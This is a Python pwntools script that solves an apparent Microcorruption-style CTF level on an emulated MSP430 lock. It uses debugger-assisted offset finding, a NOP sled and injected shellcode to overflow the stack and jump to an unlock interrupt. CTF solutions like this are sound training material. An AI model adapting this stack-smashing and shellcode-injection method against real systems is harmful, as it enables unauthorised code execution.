from binascii import hexlify

from pwn import *

MSP430_EMU = args['MSP430_EMU']
MSP430_GDB = 'msp430-gdb'
BINARY = sys.argv[1]
PROMPT = b'gdb> '
NOP = b'\x03\x43'

context.endian = 'little'
emu = process([MSP430_EMU, '-g', BINARY])
dbg = process([MSP430_GDB, '-ex', 'target remote localhost:3713',
               '-ex', f'set prompt {PROMPT.decode("utf-8")}'])

dbg.recvuntil(PROMPT)

# - the combination of check and unlock_door has been turned into a
#   custom function
# - therefore the approach in Johannesburg of jumping after the failed
#   check to unlock_door doesn't work
# - instead, unlock code needs to be in the user input and jumped to
# - it can be borrowed from the previous levels

unlock_code = bytes([
    0x30, 0x12, 0x7f, 0x00,  # push #0x7f
    0xb0, 0x12, 0x32, 0x45,  # call #0x4532 <INT>
    0x21, 0x53,              # incd sp
    0x30, 0x41,              # ret
])

# the last two instructions can be omitted because the unlock is the
# last code to run and doesn't need to exit cleanly

shorter_unlock_code = bytes([
    0x30, 0x12, 0x7f, 0x00,  # push #0x7f
    0xb0, 0x12, 0x32, 0x45,  # call #0x4532 <INT>
])

# 44f4 <login>
# 44f4:  3150 f0ff      add	#0xfff0, sp
# 44f8:  3f40 7044      mov	#0x4470 "Enter the password to continue.", r15
# 44fc:  b012 9645      call	#0x4596 <puts>
# 4500:  3f40 9044      mov	#0x4490 "Remember: passwords are between 8 and 16 characters.", r15
# 4504:  b012 9645      call	#0x4596 <puts>
# 4508:  3e40 3000      mov	#0x30, r14
# 450c:  0f41           mov	sp, r15
# 450e:  b012 8645      call	#0x4586 <getsn>
# 4512:  0f41           mov	sp, r15
# 4514:  b012 4644      call	#0x4446 <conditional_unlock_door>
# 4518:  0f93           tst	r15
# 451a:  0324           jz	#0x4522 <login+0x2e>
# 451c:  3f40 c544      mov	#0x44c5 "Access granted.", r15
# 4520:  023c           jmp	#0x4526 <login+0x32>
# 4522:  3f40 d544      mov	#0x44d5 "That password is not correct.", r15
# 4526:  b012 9645      call	#0x4596 <puts>
# 452a:  3150 1000      add	#0x10, sp
# 452e:  3041           ret


def gdb_output(output):
    return output.removesuffix(PROMPT).decode('utf-8').strip().split('\n')


# first things first, let's find the address offset


def check_address_offset():
    dbg.sendlinethen(PROMPT, b'break *0x452e')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(cyclic(32))

    dbg.recvuntil(PROMPT)
    output = gdb_output(dbg.sendlinethen(PROMPT, b'x/4xb $sp'))[0]
    subseq = bytes([int(byte, 16) for byte in output.split(':')[1].split()])
    offset = cyclic_find(subseq)
    print(offset)


# check_address_offset()

# the address is 16 bytes in, let's find out the stack start


def check_input_addr():
    dbg.sendlinethen(PROMPT, b'break *0x4512')
    dbg.sendline(b'continue')

    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(cyclic(32))

    dbg.recvuntil(PROMPT)
    sp = gdb_output(dbg.sendlinethen(PROMPT, b'p/x $sp'))[0].split(' = ')[1]
    print(sp)


# check_input_addr()

# the input starts at 4052


def exploit(code):
    payload = NOP * ((16 - len(code)) // 2) + code
    payload += p16(0x4052)

    dbg.sendline(b'continue')
    print(emu.recvregex(b'> $').decode('utf-8'))
    emu.sendline(b':' + hexlify(payload))

    print(emu.recvall().decode('utf-8'))


# exploit(unlock_code)
exploit(shorter_unlock_code)